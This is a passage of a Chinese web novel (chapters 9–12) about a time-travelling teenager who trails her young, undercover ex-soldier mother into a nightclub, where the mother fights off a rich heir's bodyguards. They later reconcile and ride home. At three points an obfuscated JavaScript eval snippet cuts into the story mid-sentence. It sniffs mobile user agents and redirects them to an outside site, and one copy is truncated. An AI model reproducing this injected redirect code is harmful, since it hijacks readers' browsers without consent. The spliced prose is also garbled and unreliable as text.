祝飞雁不爽地努嘴,未来的她要是真生出这种没大没小的女儿,绝对分分钟一巴掌打上去。 “不能理她,越理她越来劲。”祝飞雁自我安慰一句,直接关机,随即头也不回上楼,锁好所有门窗后才回到山脚。 跨上机车的那一秒,她准备划下护目镜的手顿住了。 等等,祝安宁也在X? 9. Chapter 09 X·夜店。 晚上十一点十五分。 音浪如浪潮汹涌,人群晃动起舞。祝安宁捂着耳朵从人堆里钻出,紧紧跟上前方身姿妖娆的女人。 跟丢祝飞雁后,祝安宁原本想上个厕所再回家,谁知在厕所里听到这个女人和别人聊天,言之凿凿声称小莫总这次可能会完蛋。 她实在是太好奇这整件事了,所以决定跟上看看,只是跟了一路,却发现这女人简直就是朵交际花,到哪都能和人聊几分钟。 但祝安宁很清楚,如果想跟上老妈的脚步,阻止她靠近F4,就必须得知道她到底在做什么。 或者说,弄清楚她是为了哪桩案子来卧底。 知彼知己,方能百战百胜—— 从前她看电视剧时,祝飞雁特别喜欢窝在沙发里揉捏断腿,然后冷不丁冒出这句话,开始吐槽主角蠢笨如猪,编剧也没脑子,还没搞清情况就动手打草惊蛇。 想到这里,祝安宁轻轻呼出一口气,尽量让自己不要浮躁,不远不近跟在对方身后。 女人和之前的辣妹打扮相同,都是吊带短裤,一看就是夜店内部的人。 只见她踩着恨天高一路和舞池中扭动的人打招呼,随即走向吧台,一屁股坐到高脚凳上,然后问调酒师要了一杯酒,两人似乎在聊天,那嵌着夸张水晶的指甲在灯光下折射出璀璨的光芒。 祝安宁是第一次来夜店,穿越前那个小县城只有快倒闭的livehouse,但她也没去过,首先是祝飞雁不允许,其次是没时间。 因为祝飞雁把她的周末安排得很满,上午是雷打不动的散打课,下午是她自己喜欢的古筝课,不过她对散打没兴趣,经常逃课和莫莉去吃甜品或者上网。 这种混乱的环境对她来说的确新奇,但震感十足的音乐也的确让心脏突突发疼,她甚至感觉耳膜快被震破了。 但她完全没有犹豫,一把扯下包裹头部的丝巾,在女人不远的位置低头坐下。 人声鼎沸中,只听女人猛地拔高声音:“我是说,刚才听说小莫总被人带走了,这件事已经惊动小顾总,他马上要过来!” 调酒师将调制好的香槟推到她面前,紧接着半具身子趴到吧台:“什么?被谁带走了?” “不知道!”女人耸肩,语气佩服:“后街那没监控,王哥只说是一个女人。我怀疑是因为小莫总家里那档子事,前段时间不是听说有个主播跳楼自杀了吗,他女朋友扬言要莫家付出代价……” 主播?正在偷听的祝安宁难掩兴奋,立刻点开早上桑芙给的论坛,开始搜索莫子健的信息。 恩德论坛是很久之前的一位学生创建,老师没有权限进,所以里面什么内容都有,但凡能叫得出名号的人都配单独开一个讨论帖。 随便一搜,莫子健的信息便跳了出来。 根据信息显示,他爹是飞扬娱乐的老总,妈是赫赫有名的律师,家里公司众多,其中飞扬娱乐这家主打捧网红和直播的公司市值最高。 帖子里不仅提到莫子健是F4的小跟班,也提到了半月前男主播跳楼的事,这位主播是因自己赌博破坏了公司形象,导致被公司起诉,无法承受天价违约金才选择了自杀。 但这件事显然有疑点,这人穷苦出身且家里母亲重病,爆火后也一直在进行慈善事业。 评论里很多人都表示这人品行端正。 难道祝飞雁是冲这个来的? 祝安宁感觉自己找到了一个线索,果断截屏下来。 正当她想退回V信查看祝飞雁是否回信息时,身后骤然响起一道充满戏谑的声音:“这不是祝宴的女儿?你在这做什么?你爸居然允许你大半夜泡夜店?” 是顾逢秋。 祝安宁一惊,连忙删掉聊天框并锁屏,紧接着站起来,一转身,就见顾逢秋单手插兜靠在吧台旁,身后跟着几个保镖,镭射灯扫射下来,将每个人的面孔都淹没在暗色里。 “……”她紧张地吞了口口水,反驳道:“他又不是我真爸,管不着我。” 调酒师和女人显然也很惊讶,纷纷起身恭敬问好:“小顾总。” 顾逢秋意兴索然地摆手,视线却始终盯着祝安宁,下一秒突兀地笑起来:“我懂,你们小情侣之间的情趣。” 祝安宁:“……” 她默默咬牙,在心里不断咒骂傻X。 “人在楼上,只有她看见了那女人。”为首的保镖俯身靠向顾逢秋,小声提醒:“先去处理正事?” 但顾逢秋明显对祝安宁很感兴趣,连个眼神都没给保镖,直接缓步上前,用审视的目光打量她:“你叫薛沐?祝宴呢?” 祝安宁其实有点怕顾逢秋,自打知道恩德F4就是老妈的目标后,她怎么看怎么觉得这帮人就是人模狗样的禽兽。 她皱着眉往后一缩:“我们分手了,我不知道他在哪。” “我要回家了!”祝安宁眼珠一转。 三十六计走为上策! 啪!一只骨节分明的大手猛地攥住了祝安宁手腕。 她吓了一大跳,猛地回头,只见顾逢秋懒洋洋勾着唇,英俊的面容上浮现一抹恶意满满的微笑:“急什么?都是同学,既然你来我的地方,我当然得做东请你喝酒。” 四处乱扫的光射灯落在他脸上,暗红色的光映亮了他的面庞,像是地狱里爬上来的、浑身冒红光的俊美恶魔。 “来几杯四洛克。”顾逢秋冲调酒师扬了扬下巴,紧接着将祝安宁扯到高脚凳旁,一把用力往下摁。 祝安宁难以挣脱,脸色逐渐发白。 她被强行摁在凳子上,肩膀上还搭着顾逢秋的手。 力道很重很大,几乎是明晃晃的威胁。 这时,那妖娆女人说道:“小顾总,让一个小姑娘喝这种酒不好吧?” 四洛克又名失身酒、断片酒,一小罐的酒精含量堪比几杯伏特加,酒量不好的人一口下去都得睡上一整天。 “那你喝?”顾逢秋笑眯眯看向女人。 短短三个字,压迫感极强。 女人瞥了眼祝安宁圆润可爱的侧脸,慌乱地低下头,没再说话。 灼热的氛围充斥夜店每个角落,喧嚣嘈杂。 只有这里的空气仿佛冻结了。 祝安宁强行按耐住发抖的欲望,试图自救:“我爸妈刚打我电话叫我……” 但直接被顾逢秋打断了。 “我查过你,你爸妈都在外地工作。”顾逢秋非常坦然,绕过她在旁边坐下,手始终搭在她肩上。 他饶有兴致等调酒师弄酒,单手撑着下颌侧对祝安宁,吊儿郎当地说:“我不喜欢祝宴,所以特地打听了一下,包括出现他身边的人,同学你不介意吧?” “说起来,你还是他转学后第一个关系匪浅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463621|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女生,你们怎么认识的?一夜情吗?” ……这人真的好讨厌啊。 祝安宁鸡皮疙瘩起了满背,她本身就继承了祝飞雁的倔脾气,实属那种越是不爽、害怕就越倔的死犟种。 这下她真的忍不了了,毫不掩饰厌恶,气冲冲甩开他的手:“关你什么事!” 她站起来就要跑,还没忘回头骂一句:“多嘴多舌,上辈子是鹦鹉吗你!” 闻言,四周所有人脸色都变了。 顾逢秋面沉如水,哪能轻易放过她,眼疾手快伸手去捉她手臂,也就是这一刻,祝安宁顿时想起学了半吊子的散打课程,几乎是反射性地反手捉住顾逢秋的手臂,以自己背部为支点,狠狠给他来了一个过肩摔。 砰! 脑门磕到地上发出清脆声响,顾逢秋盯着正洒着钞票的半空,有一瞬间的迷茫。 “我靠!我好厉害!”祝安宁惊喜地盯着自己的手,压根不敢相信这是自己能做出的事。 她头一回清楚地认识到学门防身术是有多么重要。 也终于意识到祝飞雁从□□自己练散打的原因。 也许是祝飞雁早就知道会被寻仇。 也许是爱之深责之切,不善言辞的祝飞雁只能用这种方式教导她如何保护自己。 与其将一个人保护在美丽平和的象牙塔里,不如直接教人自保,这才是真正的保护。 与此同时,只见顾逢秋回过神,猛地翻身起来,脸色难看地怒喝:“把她给我抓回来!” “!!”祝安宁来不及思考了,转头拔腿狂奔。 救命啊!她只是一个十五岁的小女孩! 下一秒,原本在顾逢秋身后的那个保镖大步迈开,两三步就追上了祝安宁,直接一把攥住她衣领。 祝安宁像一只小鸡仔,被提到了半空。 她不断蹬着腿,开始慌了:“叔叔,咱有话好好说……” 话说到一半,突然一部手机不知从何处飞来,精准地砸中保镖手腕,保镖吃痛松手,扭头看向一个方向。 啪——! 手机落到地上摔成两半。 所有人都看了过去。 舞池中央,陶醉的人们正在热舞,只见一个头戴棒球帽的女人静立在攒动的人间,口罩遮脸,白色顶光从那双锋利的眼上方掠过,冷冽的眼神骤然一亮,身高优越,气势沉冷神秘,宛如一尊沉默的杀神正在窥伺猎物。 “喂!你干嘛扔我手机?”旁边,一头雾水的男人忍不住质问。 众目睽睽下,她头也没回,一个抬肘侧击,准确命中男人咽喉,从牛仔衣角掀起的弧度来看显然力道不小,男人身体瞬间绷直,捂着喉咙后退,然后猛地砸向地面晕死过去。 四周跳舞的人终于意识到不对,纷纷尖叫四散奔逃,一条路空了出来。 隔着一段距离,她与顾逢秋等人彼此对视。 “就是她!”保镖一眼看出那干脆的一招没练过几年不可能用出来,立马望向顾逢秋:“就是她带走了小莫总!” “……”顾逢秋皱着眉活动肩颈,语气不爽:“所以呢!还不上?!” 战况一触即发! 祝安宁紧紧盯着人群中身形肃杀的女人。 只有她知道,这是她妈祝飞雁。 她激动地握紧拳头,在心里疯狂呐喊:啊啊啊啊!!老妈来救她了! 10. Chapter 10 用剑拔弩张都不足以形容这场景,这一瞬间,将舞池围成一个圈的人都仿佛觉得氧气像被挤出了肺腑。 音乐声渐停,无数双眼睛紧盯,有人认出了顾逢秋,交头接耳地说:“是小顾总吧。” “好像是有人惹事……” 视线纷纷落到舞池中央,只见祝飞雁身板笔挺,沉默如一柄未出鞘的利剑。 “王哥?动手吗?”保镖们搞不清这究竟什么情况,不敢轻举妄动,只能看向头头。 捉祝安宁的人正是这帮人的老大王松。 王松神色冷峻,一言不发推开祝安宁,随即抽出别在后腰的电棍径直冲向祝飞雁。 一个成年男人的力气有多大不言而喻,祝安宁差点撞上吧台,多亏那个女人眼疾手快拉了她一把才没受伤。 她低声说了句谢谢,然后立刻看向战场,就见其余人也一窝蜂冲了上去,舞池周围还有几个场内保安正快速朝祝飞雁靠近。 “……”祝安宁担忧地抿紧唇,刚才的兴奋荡然无存。 这么多人,她老妈能搞定吗? 与此同时,吧台处响起顾逢秋的嗤笑声:“这么多人,她死定了。” 他不知什么时候坐上了高脚凳,此刻正双臂大展,背靠吧台,翘着二郎腿一副看戏的模样。 调酒师恭敬地递上一杯酒,特别狗腿地点头:“就是,咱王哥可是蝉联几届拳赛的冠军,敢来X闹事,绝对让她吃不了兜着走。” 顾逢秋没应声,接过酒杯,隔一段距离朝祝安宁举杯,恶劣地笑:“你等着,收拾完她再收拾你。” 祝安宁下意识想跑,谁知刚才还帮祝安宁的女人突然抓住了她的手,强行将她摁在原地。 女人一脸为难:“抱歉,我也是打工的。” 祝安宁挣脱不开,脸色煞白。 ——【优越的背景是他们与生俱来的人生条件,但那只是命运的馈赠,实际上助长这种风气的,是周围畏惧权势且懦弱的人们。】 这一刹那,祝安宁终于深刻地意识到为什么F4相关的帖子里会有这样一条一针见血的、格格不入的评论。 …… 舞池中央,祝飞雁站在原地,神情镇定。 但其实她心里憋了一团火,因为这是一天之内,祝安宁第二次打破她的计划了。 原本的计划很简单,男装在学校接近顾逢秋,等待机会进入小团体获取线索;女装扮演“狂徒”,想办法得到一些不为人知的信息,等莫子健说实话,就算彻底拉开了这场战争的序幕。 然而祝安宁的出现,不仅导致上午没能和顾逢秋正面交锋,虽然后来因祸得福了,可一系列安排全部作废,现在还不得不为了救她提前出现。 祝飞雁坚决不能容忍有人三番两次破坏自己行动,就算是天王老子都不行。 这股怒火像吹不尽的野火,蹭蹭蹭涌上心头。 将近七八个保镖四面八方围过来,她眼神沉冷,环视一圈,无声丈量彼此的距离。 这种近乎被包围的攻势换做任何人来,都得仔细考量一下能否脱身,但祝飞雁丝毫不慌,就在一人越过王松即将到跟前时,她顷刻后退一步蓄力,紧接着猛地上前起跳,凌空跃起一个暴力顶膝! 干脆利落,一招制敌! 那人重重摔飞出去,撞到卡座上彻底晕死,离得近的人甚至清晰地听见了骨裂声。 还没等人回过神,祝飞雁已经稳稳落地,同时极其迅速地侧身躲过了王松挥出的电棍。 王松脸色微变,有格斗底子? 意识到这一点,王松干脆弃棍出拳,可祝飞雁的反应简直能用可怕来形容,就像一个身经百战的女战士,完全不给人喘息的时间。 下一秒,她先是右掌横劈向王松手腕,尽管他迅速抬手抵挡,但她居然能临时调整出手的招式,第一时间伸出左手正面摁住他手臂下压,随即右臂屈起,猛然用坚硬的手肘骨狠辣地击打他下颌! 砰!令人毛骨悚然的一声脆响! 王松头晕目眩地向后倒去,甚至连反抗的余地都没有,外人看来很简单的一击,但他感觉自己的下巴已经被打碎了。 其余人见状目露惊恐,纷纷停下动作。 “嘶——”围观的人也发出了吸气声,显然都觉得这场面过于惊悚。 动作干净却出奇狠,仅仅两招,两个成年男人毫不例外全部晕死! ……碰上练家子了?! 应该说撞上铁板了! “发什么呆!”这时身后响起顾逢秋愤怒的咆哮,明显他也没想到会有这样的事发生,立刻站起来大喊:“给你们钱是吃白饭的吗?一起上!” 众人面面相觑,只能硬着头皮继续。 而祝飞雁眯起眼睛,瞥了一眼顾逢秋,弯腰捡起落在地上的电棍,反手抽向就近一人的喉咙。 肉眼可见的,那人脖颈上的肉都颤了三颤。 又倒一个! 紧接着,另一人随后而来,她单手捉住对方手臂,握着电棍又凶又重地砸向他手臂,接连几下锤击,那人惊慌失措地看看自己手臂,又看看祝飞雁,顿时发出异常尖锐的惨叫。 剩下的保镖眼底瞬间倒映出了同伴扭曲弯折的手臂,不约而同产生了强烈的恐惧。 下一刻,只见祝飞雁猛地将那人手臂往上一掰,彻底折断手臂,然后将人甩了出去。 说时迟那时快,紧接她抄起电棍冲入保镖堆。 简直如入无人之境,飞踢、拳击胸、抓头敲桌……没有一个多余的动作,招招利落高效,全是一招制敌的狠招。 一时间夜店内惨叫声不断,场面混乱。 哗啦啦—— 一个保镖飞向卡座,重量压塌茶几,酒瓶子滚落碎了满地。四周的人发出惊呼连连避让,胆子大的人还拿出手机拍摄,但很快被赶到的保安阻止了。 “走走走!!都走!”刚赶到的保安知道今天的确是撞上铁板了,连忙催促顾客离开。安排好后,他几乎是狂奔倒顾逢秋身边,“小顾总你先离开!” 顾逢秋倒也不是花架子,尽管有些震惊,但还是表现出了一个合格继承人应有的沉着,刚才的轻蔑也已经消失殆尽,他推开保安,一脸肃然:“先看看她要做什么。” 显而易见,有这样身手的人绝不简单。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463622|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …是冲莫子健来的,还是他本人? 他眯起眼,俊美的面容冷若寒潭。 “不行!”保安生怕他出事,壮着胆想将他拉走。 就在这一瞬间,最后一个保镖被一脚踹飞,整个人在滑溜的地板上一路滑到他们脚下。 保安一惊,反射性挡到他面前。 顾逢秋低头看了眼手臂被拧断的保镖,脸色微变,两秒后抬头,只见祝飞雁立在原地,胸脯微微起伏,却连头上的棒球帽都没歪。 身形肃立,依旧锋利如剑。 这完全是一场单方面的殴打。 两人四目相对,气氛凝重到死。 沉默许久,顾逢秋出声:“莫子健呢?你是谁?你想做什么?” 顾客正陆陆续续离开,只是祝安宁还被一个女人抓着,祝飞雁眉头小幅度地抽动一下,思考一会,终于开口说了第一句话:“有些事要问,所以请他聊聊。这件事你也知道,但我想你应该不希望被人听见,把不相干的人都清出去?” “……”顾逢秋气极反笑:“你觉得我会被你威胁?开玩笑……” 祝飞雁冷冰冰地迸出两个字打断:“瞿柔。” 闻言,顾逢秋脸色彻底变了,身体几乎瞬间绷直,唇角肌肉狠狠抽搐着。 保安还想说什么:“留您一个人……” 他立马横过去一眼,语气暴躁:“都给我滚,全部!” 话落,调酒师等人只能立刻扶起受伤的保镖们迅速离开,包括祝安宁。 但一帮人刚到门口,只见祝安宁狠狠咬了一口女人的手臂,像条鱼一样钻进了人群。 女人气急败坏大骂,很快被调酒师拉走,所有声音都被关上的门彻底阻隔了。 夜店内空荡一片,空调冷风卷着地上的钞票乱飞,只剩下了顾逢秋和祝飞雁两人。 总算把人弄出去了,祝飞雁终于松一口气。 最要紧的事解决,她得考虑怎么合理离开,然后去揍祝安宁这个不安分的丫头了。 顾逢秋打量祝飞雁好几眼,到底没忍住问:“为什么问瞿柔?你到底是谁?” 一个死了将近一年的人被人提起,已经不能算恐怖,而是诡异了。毕竟他很清楚,相关人物该处理的早已全部处理干净,没有一丝蛛丝马迹留下。 “我是谁不重要,重要的是我今天来就是和你下个战书。莫子健的确在我手上,咱俩比比,看看究竟是小顾总你找得快,还是我从他嘴里撬事快。”祝飞雁边说边走到就近的卡座前,拿起一瓶昂贵的酒端详,牛头不对马嘴地说:“这瓶子质量过硬,打人一定很痛。” 顾逢秋皱眉:“你在说什么?” 就在他想要骂人时,却见祝飞雁骤然转身,抄起酒瓶朝他猛力一甩,同时扭头狂奔,长腿一跨直接跳上桌子,马不停蹄冲向了后门。 哐!门重重合上,撞击声回荡。 顾逢秋好险才躲过酒瓶,等他回过神,面前已空空如也。 顾逢秋:“…………” 顾逢秋:?? 不是,这么丝滑离场的吗? 这一刻,顾逢秋突然觉得自己就像个小丑。 11.Chapter 11 临时被赶出来的顾客都在前后门堵着,几个被抬出来的黑衣保镖横七竖八躺在地上哀嚎,一个保安边掐王松的人中边冲接线员大吼:“对!就在香安街!” 挂断电话,那位保安一脸火气起身,开始用嘶吼的方式维持秩序,场面混乱嘈杂。 其余酒吧的人纷纷探头张望,好奇心简直快要爆炸。 祝飞雁一从后门出去,堵在这的顾客和保安自觉让开了一条路,没人敢上前,仿佛她是什么洪水猛兽。 “出来了。” “里面到底怎么回事?” “不会把人杀了吧……” 质问与疑惑的声音响起,众口嚣嚣。 祝飞雁心态极稳,压低帽檐,无视落到身上的所有目光,大步流星朝对街的便利商超走去。 同一时刻,身后骤然响起保安的惊呼声。 “糟了!小顾总!”随即砰一声,后门被人重新拉开,一帮保安立刻冲回夜店。 祝飞雁没回头,脚步飞快走向自己的机车。 刚到商超门口,谁知旁边黑黢黢的小巷突然探出一颗被丝巾包裹严实的脑袋,对方只露出一双弯弯的眼睛,语气鸡贼:“老妈!我在这里!” ——祝安宁。 不知道的,还以为这货是什么跟踪狂魔。 祝飞雁刚准备跨上机车的动作顿在半空,表情一黑,她还敢出现? 然而压根没有发火的余地,只见祝安宁贼兮兮向她身后看了一眼,紧接着猛地站直,双手握拳抵在下巴上,双眼晶亮:“没想到你年轻时这么会打!欻欻欻三两下就把人打趴,真的太厉害了!要不是亲眼所见我其实都怀疑你根本不是我妈!不过你可以打人吗?发现了会被关禁闭吧?” 她喋喋不休地说着,眼中迸射的精光比白织灯还要亮,简直一副狂热粉丝见到本命爱豆的模样。 “……”祝飞雁深吸了口气,压抑住火气瞥她一眼,然后长腿一跨直接上车,冷冰冰地抛下一句话:“这里不是说话的地,最近的公园见。” 下一秒,她划下头盔挡风镜,猛握手把。 机车呼啸而去,马达声撕裂苍穹。 还没说完的话戛然而止,祝安宁呆滞地看着自家老妈潇洒离去,两秒后内心疯狂咆哮:所以为什么不载她!! . 十分钟后。 九月的滨海夜风已经开始凉了,掀起湖面涟漪圈圈荡漾,形状奇怪的树枝倒映在水面。 祝飞雁靠在围栏上,机车停在不远处。 栏杆上残留着不知何时的面包屑,她随手一拨洒进湖里,肥硕的鲤鱼争先恐后冒出水面。 每隔一段伫立的昏黄路灯倾泻下来,将她那张冷峻而锋利的侧脸映亮,黑色口罩紧贴高耸的鼻梁,眼睫垂着,沉默地盯着仿佛吃不饱的鲤鱼群。 温和的风吹过湖波,掠过祝飞雁的脸颊,仿佛有一只粗糙又温热的手,穿越时间与空间落到了她头顶。 …… “你看,只要有人经过,湖里的鱼就习惯性跃出等待,因为它们知道自己是被饲养的。就像动物园里的大型野兽,和平与友好的环境让它们失去了进攻的本能,定时定点接受投喂,甚至还会卖力讨好求食。” “我既然选择收养你,就会把你当成亲女儿一样养。但是祝飞雁,我希望你能保持自己的进攻性,不要做为了平稳与食物的被圈养者,就做你自己。” “你完全不需要因为怕自己又被送走,而收敛个性来讨好我和瞿柔,更不需要在学校里被人欺负了,因为怕麻烦我还要忍着。你是独一无二的,不同于同龄人的凶狠和坚韧也独一无二,我喜欢的是这样的你。” 来自十多年前的声音在祝飞雁耳边绵延,她微微侧头,似乎看到了年幼的自己与瞿欣并肩站在湖边的画面。 那是刚被收养后发生的事了,同学们笑她是个讨饭鬼,她被人接连欺负了半个月,直到被剪掉头发才被发现。那天,瞿欣特地请假去学校帮她出头,甚至桌子都拍得邦邦响,非要对方也剃头才满意。 最后瞿欣就像一个胜利的女战士,在冷汗直流的校长热情恭送下,直接带她逃课去玩。 祝飞雁永远不会忘记那一天,因为她怕事情闹大后又会一无所有,更怕迎来瞿欣的怒骂。 当时她倔强地低着头不说话,瞿欣却伸手摸摸她的头,然后半蹲下来,掰过她的头迫使两人面对面。 “所以。”瞿欣牵起她的手,认真地说:“放心飞吧,放心做你自己,只要不犯法我都给你兜底。” …… 眼前画面定格,瞿欣微笑的面容被风一吹而散。 祝飞雁的视线模糊了,她立刻抬起头,望向无垠的夜空。 接下任务以来,她没有一刻松懈,没有时间难过,始终在复盘推敲计划,希望尽快破案,让无名岛十三具女尸沉冤昭雪,光明正大将死在异国他乡的瞿欣接回。 哪怕为此她要成为一个“罪犯”,都没有犹豫。 哪怕通过少得可怜的线索窥见了一个犯罪王国,也没有退缩。 因为她祝飞雁要的是问心无愧。 能力所及的情况下,她不惜一切都要找出真相,坚决不允许有除不可抗力的因素外的人或事破坏计划。 而祝安宁就是这个破坏者。 身份诡秘,爱胡言乱语,简直就是定时炸弹。 缓上片刻,祝飞雁冷静下来,背靠栏杆,开始琢磨要不要找徐庆云把人先弄走。 大概又等了几分钟,一辆出租终于在路边停下,隔着两个灌木丛的距离,只见祝安宁推门下车,扫完码风风火火朝这里跑来,没跑两步居然还折回去买了俩根冰糖葫芦。 “我来了!”她几乎是冲过来的,一站到祝飞雁面前,立刻喜笑颜开递上一根糖葫芦:“吃吗!我记得你很喜欢吃,还会自己做了在小卖部卖呢!” “……”祝飞雁垂眼,扫了一眼颗粒圆滚的糖葫芦,仿佛没看见一般,心平气和地问:“你为什么会在X。” 四周空气似乎凝滞了。 平静之后就是难以预料的惊涛骇浪。 祝安宁尴尬地收回手,低下头咕哝:“我去玩呀,又没说只能你们去……” “跟着我去的吧?”祝飞雁冷笑,见她这副理直气壮的样子火气一下子蹿上脑门,完全不留情面地开骂:“你知不知道顾逢秋是什么人?他想碾死一个人比碾死一只蚂蚁还简单,甚至都不需要逞凶斗恶,就有一帮人心甘情愿帮忙做事讨好他!今晚要不是我,明天你死哪里都不知道!” 祝安宁已经深刻体会到顾逢秋的狂了,但上来就被骂一通,此刻倔脾气也上来了,顿时口不择言道:“那你去X做什么?我都看见了,你不仅打人还带走莫子健了呢!你不是当兵的吗?你这是知法犯法!” 祝飞雁气笑了:“你知道个屁,不知道就给我闭嘴。” “……”祝安宁梗直脖子:“你不说我怎么知道?” “你是我谁?我凭什么和你说?” “我说了我是你女儿祝安宁,从2040年穿……” 啪!祝飞雁烦得不行,干脆利落捂住她嘴巴:“可以了,闭麦吧,我不想听疯话。” “协议里不光写了你要保密,还要与我保持距离,傍晚签的就忘了?需要我再拿给你看一遍吗?还是要让我直接叫你爸妈回来给你转学?”祝飞雁压低声音,语气严肃。 祝安宁缓缓抬头,只见帽檐下,祝飞雁那双像鹰一样锐利的眼中毫不掩饰厌烦。 “今天为了救你,我不得不提前暴露目的,导致接下来的行动只会难上加难。看在你年纪还小的份上,我再给你一次机会,再有下一次,我会第一时间想办法把你送走。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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头一回有点头秃,祝飞雁想挠头,得亏强行遏制了下意识的动作。思考一会,她逐渐放缓语气,笃定地问:“未来我会受伤或者死吗?” 祝安宁一怔,第一反应是从老妈嘴里说出事实居然没事,然后才迟疑地点了点头。 得到答案,祝飞雁并不意外。 无言许久,她摘下棒球帽往祝安宁头上一扣:“别哭了,很难看。” 祝安宁懵圈地抬头,眼角还沾着水光。 沉默缓缓流淌,不知过去多久,祝安宁只听见祝安宁沉稳而平静的声音响起:“就当你说得都是真的,那么我告诉你,无论会发生什么,那都是我的选择。” “受伤将会是我的勋章,死亡也是我最后的荣耀,而这一切与你无关。”祝飞雁帮她调整好帽子,动作温柔地一点点擦干净她的眼泪。 紧接着,她伸手摁向她肩膀,冷漠的双眼垂下去,与她对视:“最后警告你一次,如果你再来烦我,要么等着进监狱吃牢饭要么被我关起来,懂吗?” 祝安宁面孔刹那一白,颤动的眼底倒映出祝飞雁抽身离开的无情背影。 ……好像搞砸了。 片刻,她沮丧地垂下脑袋。 这么油盐不进,年轻版本的祝飞雁真是讨厌死了! 啪嗒、啪嗒。 泪珠一颗颗落地,祝安宁安静站在原地,情绪一发不可收拾,但正当她感觉自己被全世界抛弃时,身后骤然响起机车的轰鸣声。 她迷茫抬头,只见一个头盔呈抛物线飞来,手忙脚乱接住,就见祝飞雁坐在机车上,单脚撑地,头往后一点:“上来,送你回家。” “……”祝安宁抱紧头盔,盯着祝飞雁锋利英气的眉眼,小幅度吸了吸鼻子。 好吧,好像也没这么讨厌。 而且还很酷,她心想。 12.Chapter 12 机车在车群中飞速穿梭,像一条甩尾摆动的鱼。 街道两侧硕大的广告屏亮起白灯,车子呼啸而过,瞬间倒映出了祝飞雁一闪而过的身形,黑色墨镜折射着亮光,束在脑后的长假发随风飞扬,身后的少女环住她的腰,整个人几乎贴到了她背上,手里还捏着两串糖葫芦。 工装裤的装饰绳带和打着卷的百褶裙裙角纠缠交织,不分你我。 这一刻,两人仿佛亲密无间。 即使戴着头盔,祝安宁也感觉自己快要窒息了,速度过快产生的失重感和拉扯力无法忽略,她艰难地呼吸着,只能用力环紧祝飞雁的腰。 这是以前根本不可能发生的事。 祝安宁从来没抱过2040年的祝飞雁,诚如之前她对莫莉说的那样,两人简直是同住一屋檐的陌生人。 她已经记不清小时候的事,但印象里最深刻的,是这几年万年不变的生活模式:早上上课,桌上已经放好了蒸好的速冻蒸饺与午饭钱,家里空无一人;傍晚回家经过小卖部,祝飞雁就坐在杂乱的收银台后摆弄那些大妈大爷才弄的手工活,见她回来,就指指桌上随便用塑料袋装着的凉菜让她吃饭;晚上独自回到空荡荡的家,写完作业看电视,九点钟祝飞雁回来,坐下来拆卸假肢揉腿,一边吐槽她看的电视剧;夜深了,祝飞雁叮叮哐哐收拾好卫生,随即自顾自回房睡觉,她会望着紧闭的房门好一会,才能将分享身边有趣的事的欲望压下去,然后默默回房。 除了偶尔会因为祝飞雁的尖酸刻薄吵架,其余的日子就这样循环着,日复一日,年复一年。 但祝安宁一直很羡慕,羡慕莫莉父母饭后会带莫莉一起去散步闲聊。 一家三人走在林荫小道上,莫莉牵着她妈的手嬉笑,翘着尾巴的小黑狗在前头奔跑。 爱是平淡生活里的细水长流,是有温度的,就像母女俩牵紧的手。 虽然从来没体会过,但今天是她第一次真正意义上触摸到祝飞雁的温度,祝安宁很高兴。 因为隔着一层衣服,仍旧能感觉到老妈紧实的肌肉。疾风扑面而来,甚至能真实地察觉到她身体瞬间绷紧。 估计就快到原主的家了,机车速度渐缓。 祝安宁停止乱七八糟的思绪,隔着厚重的头盔,侧脸贴在祝飞雁的背上,小声认真地说:“就算你讨厌我,我也一定要靠近你。” …… 祝飞雁感觉到背部有震动,那是说话时产生的微小震动。但风声太大了,她什么都没听见。 不过环着腰的手越来越紧,她顿时皱起眉,通过后视镜看向身后缩成一团的祝安宁,内心五味陈杂。 刚才是不是把话说太重了? 罕见地,她居然发现自己开始反思了。 这要是从前队里的人知道,指定表示要去排排队直播吃粑粑,首先祝飞雁就根本不可能有心软这种情绪,她是那种在毒巢剿匪碰上儿童兵都会干脆利落射出一枪的人;其次她倔如老牛,就算知道自己做错了,也能理直气壮地说出‘如果不去撞南墙那怎么知道是错的呢’这种话,压根不带认错的。 仁慈、心软和谦虚……这种标签可能只有在演戏时才会贴到她身上。 所以反思不超过两秒,祝飞雁立刻打住。 那算什么重话?忍住没出手揍人都算便宜祝安宁! 两人心思迥异,很快天海湾二期到了。 根据信息显示,薛沐不是住宿生,常年住在父母早年买下的天海湾,祝飞雁专门查了下这小区单价20w平方米,贵得离谱,周围交通便利,附近还有一个大型的进口超市,据说里面一个车厘子能卖到四百的天价。 这种小区安保极严,稍有不慎就会被监控拍到。 考虑到这一点,她避开路道监控,最后在距离天海湾几百米处停下。 “到了吗?”祝安宁飞速下车,摘下头盔,瞠目结舌看着不远处气势恢弘的小区,然后猛地回头:“这是我家?” 今天发生太多事了,祝安宁差点都忘记原主家还挺有钱了,“这就是一夜暴富的感觉吗!”她傻呵呵地笑着。 